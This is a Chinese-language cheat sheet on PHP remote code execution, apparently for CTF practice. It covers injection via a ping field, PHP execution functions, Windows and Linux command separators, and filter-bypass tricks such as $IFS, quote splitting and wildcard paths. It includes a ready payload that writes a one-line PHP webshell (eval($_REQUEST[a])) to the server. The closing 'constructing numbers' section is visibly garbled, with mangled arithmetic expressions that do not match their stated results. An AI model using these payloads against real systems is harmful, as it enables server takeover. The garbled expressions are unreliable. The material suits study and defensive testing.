一、RCE概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
二、RCE类型
“ping”
使用命令创建文件(windows命令: echo 111 > 111.txt,创建111.txt文件,里面内容为111)
1&echo "<?php eval($_REQUEST[a]);?>" > 123.php
创建一个PHP文件并写入一句话木马
使用dir查询目录
1$dir
最后和文件上传一样直接进入目录,利用我们写入的木马文件进行相关的操作
“evel”
方法一:
方法二:
system('echo "<?php eval($_REQUEST[a]);?>" > 123.php');
system("dir");
三、执行函数
以PHP为例
代码执行函数:
php中 双引号会解析解析字符串中的变量,单引号不会解析
如$a=123;则"$a" = "123"
eval()
assert()
call_user_func()
create_function()
array_map()
call_user_func_array()
array_filter()
usort()、uasort()
preg_replace()
命令执行函数:
system()
passthru()
exec()
shell_exec()
popen()/proc_open()
反引号 ``函数
四、Windows管道符
|:直接执行后面的语句。如:ping 127.0.0.1|whoami
||:如果前面执行的语句出错泽执行后面的语句,前面的语句智能为假 如:ping 2 || whoami
&:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 如 ping 127.0.0.1&whoami
&&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami
五、Linux管道符
;:执行完前面的语句再执行后面的 例如:ping 127.0.0.1;whoami
|:显示后面语句的执行结果 例如:ping 127.0.0.1|whoami
||:当前面的语句只能怪出错时,执行后面的语句,例如:ping 1||whoami
&:如果当前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami
&&:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真 例如:ping 127.0.0.1&&whoami
%0a 换行符,执行完前面语句后继续执行后面语句
? 模糊匹配单个字符,如viper可用vi?er替代
* 模糊匹配多个字符,如viper可用*er替代
六、绕过方式
连接符
cat flag.php 'cat love xianyu'
先执行单引号内内容,将结果作为命令的一部分
cat flag.php$(cat love xianyu)
先执行$()内内容,将结果作为命令的一部分
查看文件的命令
遇到了过滤可以互相替换
命令(使用方法):
cat (cat flag.php)
tac (tac flag.php)
more (more flag.php)
less (less flag.php)
head (head flag.php)
nl (nl flag.pgp)
od(od -c flag.php)
vi (vi flag.php)
vim (vim flag.php)
sort (sort flag.php)
uniq (uniq flag.php)
file (file -f flag.pgp)
grep (grep flag.php)
paste (paste flag.php)
xxd (xxd flag.php)
绕过空格方式
cat$IFSflag.php
cat$IFS$1flag.php
cat${IFS}flag.php
绕过目录分隔符过滤
cd ..;cat flag
绕过关键字
flag
fl'a'g单引号
fl"a"g双引号
fl\ag反斜杠
fl$@ag$@
f*
过滤全部字符
/bin/base64
/???/???64 ???
构造数字
echo $(())
0
echo ( ( ((~(( (())))
-1
echo ( ( ((~(( (())))( ( ((~(( (())))( ( ((~(( (())))
-1-1-1
echo ( ( (((((($(())))$((( ( ) ) ) ) (())))(())))((~$(())))))
-3
echo ( ( ((~(( ((( ( ((~(( (())))( ( ((~(( (())))( ( ((~(( (())))))))
2